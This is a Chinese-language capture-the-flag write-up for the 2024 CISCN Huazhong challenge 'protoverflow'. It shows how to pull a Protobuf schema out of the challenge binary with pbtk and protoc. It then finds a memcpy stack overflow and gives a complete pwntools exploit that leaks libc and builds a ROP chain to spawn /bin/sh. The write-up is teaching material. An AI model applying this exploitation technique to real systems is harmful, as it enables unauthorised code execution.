工具安装

  1. python环境搭建:
    本人使用的是python3pip3:

    pip3 install protobuf pyqt5 pyqtwebengine requests websocket-client
  2. pbtk安装

    git clone https://github.com/marin-m/pbtk

进入这个文件夹就可以使用工具了。

  1. 工具使用

如果我们是从题目给的二进制文件提取结构体:

./pbtk/extractors/from_binary.py ./pwn     

会在当前文件夹下生成一个message.proto文件。

  1. 使用工具将message.proto编译为python文件,这样就能在我们的exp中导入这个python,然后就能使用message.proto中的结构体了。

message.proto文件路径下使用(注意工具路径换为自己的)

/home/tools/pbtk/utils/external/protoc/protoc --python_out=./ ./message.proto

执行完后会生成如下python文件:

最后就是在exp中导入这个py文件就行了。

例子

2024ciscn华中 protoverflow

逆向分析

发现程序运行时会打印puts函数地址,泄露libc。然后解析Protobuf结构体并调用真正的主函数。

按照上面的方法结构替换原后,在message.proto文件中看到:

syntax = "proto2";

message protoMessage {
optional string name = 1;
optional string phoneNumber = 2;
required bytes buffer = 3;
required uint32 size = 4;
}

这里需要注意的是,经过编译后的Protobuf会在头部增加一个Message结构体,下标3开始才是我们的字段

利用思路

name和phoneNumber可选,没什么用。

buffer为字符串,size可自定义,调用memcpy时会存在栈溢出漏洞。

已知libc,可以考虑直接ret2libc。

(而if里判断了下标为2的参数,这里猜测是判断结构体中name和phoneNumber字段是否为空)

exp

这里使用Real返璞归真的脚本。

from pwn import *
import message_pb2

elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process([elf.path])

context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

# leak libc
p.recvuntil(b'Gift: ')
gift = int(p.recv(14), 16)
libc_base = gift - libc.sym['puts']
libc.address = libc_base
success("libc_base = " + hex(libc_base))

# rop
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh\x00'))
ret = next(libc.search(asm('ret'), executable=True))
pop_rdi = next(libc.search(asm('pop rdi; ret'), executable=True))
pop_rsi = next(libc.search(asm('pop rsi; ret'), executable=True))
pop_rdx_r12 = next(libc.search(asm('pop rdx; pop r12; ret'), executable=True))

rop = b'a' * 0x210 + b'deadbeef'
rop += p64(pop_rdi) + p64(binsh)
rop += p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0) * 2
rop += p64(system)

# gdb.attach(p, 'b *$rebase(0x3345)\nc')
# pause()

message = message_pb2.protoMessage()
message.buffer = rop
message.size = len(rop)

p.send(message.SerializeToString())

p.interactive()